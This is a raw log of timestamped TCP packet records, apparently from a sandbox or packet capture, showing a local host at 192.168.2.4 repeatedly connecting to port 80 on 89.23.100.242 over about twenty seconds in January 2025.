Jan 10, 2025 07:58:04.323093891 CET	49808	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:04.323101044 CET	80	49801	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:04.323158026 CET	49801	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:04.327903986 CET	80	49808	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:04.673408985 CET	49808	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:04.678520918 CET	80	49808	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:04.678544998 CET	80	49808	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:04.678553104 CET	80	49808	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:05.183228970 CET	80	49808	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:05.313972950 CET	49808	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:05.324965000 CET	80	49808	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:05.504681110 CET	49808	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:05.505093098 CET	49814	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:05.509773016 CET	80	49808	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:05.509984970 CET	80	49814	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:05.510055065 CET	49808	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:05.510072947 CET	49814	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:05.510200977 CET	49814	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:05.515023947 CET	80	49814	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:05.860974073 CET	49814	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:05.866076946 CET	80	49814	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:05.866112947 CET	80	49814	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:05.866142035 CET	80	49814	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:06.311803102 CET	80	49814	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:06.463865995 CET	80	49814	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:06.465204954 CET	49814	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:06.595204115 CET	49814	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:06.595366955 CET	49823	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:06.600199938 CET	80	49823	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:06.600318909 CET	80	49814	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:06.600398064 CET	49814	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:06.600399971 CET	49823	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:06.600534916 CET	49823	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:06.605277061 CET	80	49823	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:06.954659939 CET	49823	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:06.959712029 CET	80	49823	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:06.959727049 CET	80	49823	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:06.959738016 CET	80	49823	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:07.344628096 CET	80	49823	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:07.468744993 CET	49823	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:07.468977928 CET	49830	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:07.473887920 CET	80	49830	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:07.473918915 CET	80	49823	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:07.473968983 CET	49830	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:07.473983049 CET	49823	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:07.474140882 CET	49830	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:07.478998899 CET	80	49830	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:07.829819918 CET	49830	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:07.834872961 CET	80	49830	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:07.834908962 CET	80	49830	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:07.834937096 CET	80	49830	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:08.327179909 CET	80	49830	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:08.376661062 CET	49830	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.460572958 CET	80	49830	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:08.501569033 CET	49830	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.580286980 CET	49830	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.580576897 CET	49837	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.585429907 CET	80	49830	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:08.585500002 CET	49830	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.585552931 CET	80	49837	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:08.585624933 CET	49837	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.585736990 CET	49837	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.590580940 CET	80	49837	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:08.800123930 CET	49840	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.801567078 CET	49837	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.805007935 CET	80	49840	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:08.805102110 CET	49840	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.805211067 CET	49840	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.810050011 CET	80	49840	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:08.849956036 CET	80	49837	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:08.922875881 CET	49841	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.928033113 CET	80	49841	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:08.928163052 CET	49841	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.928224087 CET	49841	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:08.933059931 CET	80	49841	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.089014053 CET	80	49837	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.089088917 CET	49837	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.157881975 CET	49840	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.162780046 CET	80	49840	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.163021088 CET	80	49840	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.283199072 CET	49841	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.288080931 CET	80	49841	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.288177013 CET	80	49841	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.288206100 CET	80	49841	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.573379040 CET	80	49840	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.664468050 CET	80	49841	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.704595089 CET	49840	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.706527948 CET	80	49840	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.720182896 CET	49841	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.813954115 CET	49840	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.818079948 CET	80	49841	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.860812902 CET	49841	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.936229944 CET	49840	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.936278105 CET	49841	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.936530113 CET	49849	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.941339016 CET	80	49840	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.941396952 CET	80	49849	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.941418886 CET	49840	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.941459894 CET	49849	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.941536903 CET	80	49841	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:09.941582918 CET	49841	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.941729069 CET	49849	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:09.946609974 CET	80	49849	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:10.298403025 CET	49849	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:10.303345919 CET	80	49849	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:10.303441048 CET	80	49849	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:10.303467989 CET	80	49849	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:10.681381941 CET	80	49849	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:10.735925913 CET	49849	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:10.808757067 CET	80	49849	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:10.860945940 CET	49849	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:10.956888914 CET	49849	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:10.957185984 CET	49856	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:10.961915970 CET	80	49849	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:10.962147951 CET	80	49856	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:10.962219954 CET	49849	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:10.962253094 CET	49856	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:10.962347984 CET	49856	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:10.967132092 CET	80	49856	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:11.314213991 CET	49856	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:11.319174051 CET	80	49856	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:11.319232941 CET	80	49856	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:11.319261074 CET	80	49856	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:11.725784063 CET	80	49856	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:11.782841921 CET	49856	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:11.860409021 CET	80	49856	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:11.907721043 CET	49856	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:12.007509947 CET	49856	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:12.008455992 CET	49864	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:12.015341997 CET	80	49864	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:12.015397072 CET	49864	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:12.015495062 CET	49864	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:12.016343117 CET	80	49856	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:12.016387939 CET	49856	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:12.020275116 CET	80	49864	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:12.360898018 CET	49864	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:12.365773916 CET	80	49864	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:12.365789890 CET	80	49864	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:12.365803003 CET	80	49864	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:12.755327940 CET	80	49864	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:12.798330069 CET	49864	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:12.905602932 CET	80	49864	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:12.954567909 CET	49864	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:13.029373884 CET	49864	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:13.029675961 CET	49872	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:13.034554958 CET	80	49872	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:13.037344933 CET	49872	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:13.037450075 CET	49872	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:13.038598061 CET	80	49864	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:13.041142941 CET	49864	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:13.042274952 CET	80	49872	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:13.392235994 CET	49872	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:13.397222042 CET	80	49872	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:13.397280931 CET	80	49872	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:13.397310019 CET	80	49872	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:13.794368982 CET	80	49872	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:13.946679115 CET	80	49872	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:13.949399948 CET	49872	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.075392008 CET	49879	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.075603962 CET	49872	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.080282927 CET	80	49879	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:14.080641985 CET	80	49872	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:14.080723047 CET	49872	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.080730915 CET	49879	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.081201077 CET	49879	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.086090088 CET	80	49879	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:14.439058065 CET	49879	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.443988085 CET	80	49879	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:14.444125891 CET	80	49879	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:14.444154978 CET	80	49879	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:14.726224899 CET	49885	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.726452112 CET	49879	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.731208086 CET	80	49885	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:14.731751919 CET	80	49879	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:14.731884956 CET	49879	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.731895924 CET	49885	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.732002020 CET	49885	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.736841917 CET	80	49885	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:14.840969086 CET	49886	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.845897913 CET	80	49886	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:14.849148989 CET	49886	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.849236965 CET	49886	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:14.854176998 CET	80	49886	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:15.079663038 CET	49885	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:15.084538937 CET	80	49885	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:15.084748030 CET	80	49885	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:15.204655886 CET	49886	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:15.209580898 CET	80	49886	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:15.209614992 CET	80	49886	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:15.209645987 CET	80	49886	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:15.476474047 CET	80	49885	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:15.517082930 CET	49885	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:15.611236095 CET	80	49886	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:15.704827070 CET	49886	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:15.732343912 CET	49885	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:15.732484102 CET	49886	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:15.732894897 CET	49893	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:15.737410069 CET	80	49885	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:15.737503052 CET	49885	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:15.737677097 CET	80	49886	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:15.737726927 CET	49886	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:15.737873077 CET	80	49893	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:15.737937927 CET	49893	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:15.738004923 CET	49893	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:15.742839098 CET	80	49893	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:16.095899105 CET	49893	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:16.100912094 CET	80	49893	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:16.100949049 CET	80	49893	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:16.100975990 CET	80	49893	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:16.493371964 CET	80	49893	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:16.548325062 CET	49893	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:16.628550053 CET	80	49893	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:16.673331976 CET	49893	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:16.748084068 CET	49893	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:16.748415947 CET	49900	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:16.753340006 CET	80	49900	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:16.753459930 CET	80	49893	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:16.753559113 CET	49893	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:16.754023075 CET	49900	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:16.754162073 CET	49900	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:16.758982897 CET	80	49900	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:17.111007929 CET	49900	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:17.116219044 CET	80	49900	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:17.116256952 CET	80	49900	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:17.116285086 CET	80	49900	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:17.499454021 CET	80	49900	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:17.634829998 CET	80	49900	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:17.637500048 CET	49900	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:17.763510942 CET	49908	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:17.940099001 CET	80	49908	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:17.940201044 CET	49908	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:17.940373898 CET	49908	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:17.945594072 CET	80	49908	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:18.298494101 CET	49908	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:18.303495884 CET	80	49908	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:18.303531885 CET	80	49908	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:18.303563118 CET	80	49908	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:18.682701111 CET	80	49908	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:18.735821962 CET	49908	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:18.816788912 CET	80	49908	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:18.860883951 CET	49908	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:18.935395956 CET	49908	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:18.935574055 CET	49915	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:18.940474033 CET	80	49908	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:18.940576077 CET	80	49915	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:18.940625906 CET	49908	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:18.940659046 CET	49915	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:18.940762997 CET	49915	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:18.945615053 CET	80	49915	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:19.298449039 CET	49915	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:19.303522110 CET	80	49915	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:19.303560019 CET	80	49915	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:19.303589106 CET	80	49915	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:19.712601900 CET	80	49915	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:19.813973904 CET	49915	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:19.842578888 CET	80	49915	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.017107010 CET	49915	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.249010086 CET	49915	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.249309063 CET	49925	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.254208088 CET	80	49925	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.254278898 CET	80	49915	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.254293919 CET	49925	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.254331112 CET	49915	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.254432917 CET	49925	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.259385109 CET	80	49925	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.498903990 CET	49926	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.503845930 CET	80	49926	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.503932953 CET	49926	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.510812998 CET	49926	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.515765905 CET	80	49926	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.610934019 CET	49925	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.615029097 CET	49925	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.616097927 CET	80	49925	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.616137028 CET	80	49925	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.616164923 CET	80	49925	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.662180901 CET	80	49925	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.762479067 CET	80	49925	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.762537003 CET	49925	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.781469107 CET	49930	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.786485910 CET	80	49930	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.786596060 CET	49930	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.786803007 CET	49930	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.791594028 CET	80	49930	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.861207008 CET	49926	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:20.866198063 CET	80	49926	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:20.866417885 CET	80	49926	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:21.142388105 CET	49930	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:21.147622108 CET	80	49930	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:21.147659063 CET	80	49930	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:21.147691965 CET	80	49930	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:21.384130001 CET	80	49926	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:21.438735962 CET	80	49926	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:21.438796997 CET	49926	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:21.607119083 CET	80	49930	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:21.657833099 CET	49930	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:21.759690046 CET	80	49930	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:21.813985109 CET	49930	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:21.878506899 CET	49926	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:21.878626108 CET	49930	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:21.883357048 CET	49938	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:21.883527040 CET	80	49926	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:21.883570910 CET	49926	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:21.883951902 CET	80	49930	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:21.884005070 CET	49930	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:21.888237953 CET	80	49938	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:21.888308048 CET	49938	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:21.888396978 CET	49938	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:21.893184900 CET	80	49938	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:22.235941887 CET	49938	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:22.240956068 CET	80	49938	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:22.240991116 CET	80	49938	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:22.241019011 CET	80	49938	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:22.624304056 CET	80	49938	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:22.756917953 CET	80	49938	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:22.757066011 CET	49938	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:23.439750910 CET	49944	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:23.446047068 CET	80	49944	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:23.446430922 CET	49944	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:23.446549892 CET	49944	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:23.452595949 CET	80	49944	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:23.798440933 CET	49944	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:23.803719044 CET	80	49944	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:23.803756952 CET	80	49944	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:23.803785086 CET	80	49944	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:24.203321934 CET	80	49944	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:24.251471043 CET	49944	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:24.340606928 CET	80	49944	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:24.393752098 CET	49944	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:24.469178915 CET	49944	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:24.469420910 CET	49955	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:24.474328995 CET	80	49944	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:24.474375963 CET	80	49955	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:24.474385023 CET	49944	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:24.474452019 CET	49955	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:24.474577904 CET	49955	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:24.479665995 CET	80	49955	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:24.829755068 CET	49955	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:24.835247040 CET	80	49955	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:24.835267067 CET	80	49955	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:24.835278988 CET	80	49955	89.23.100.242	192.168.2.4
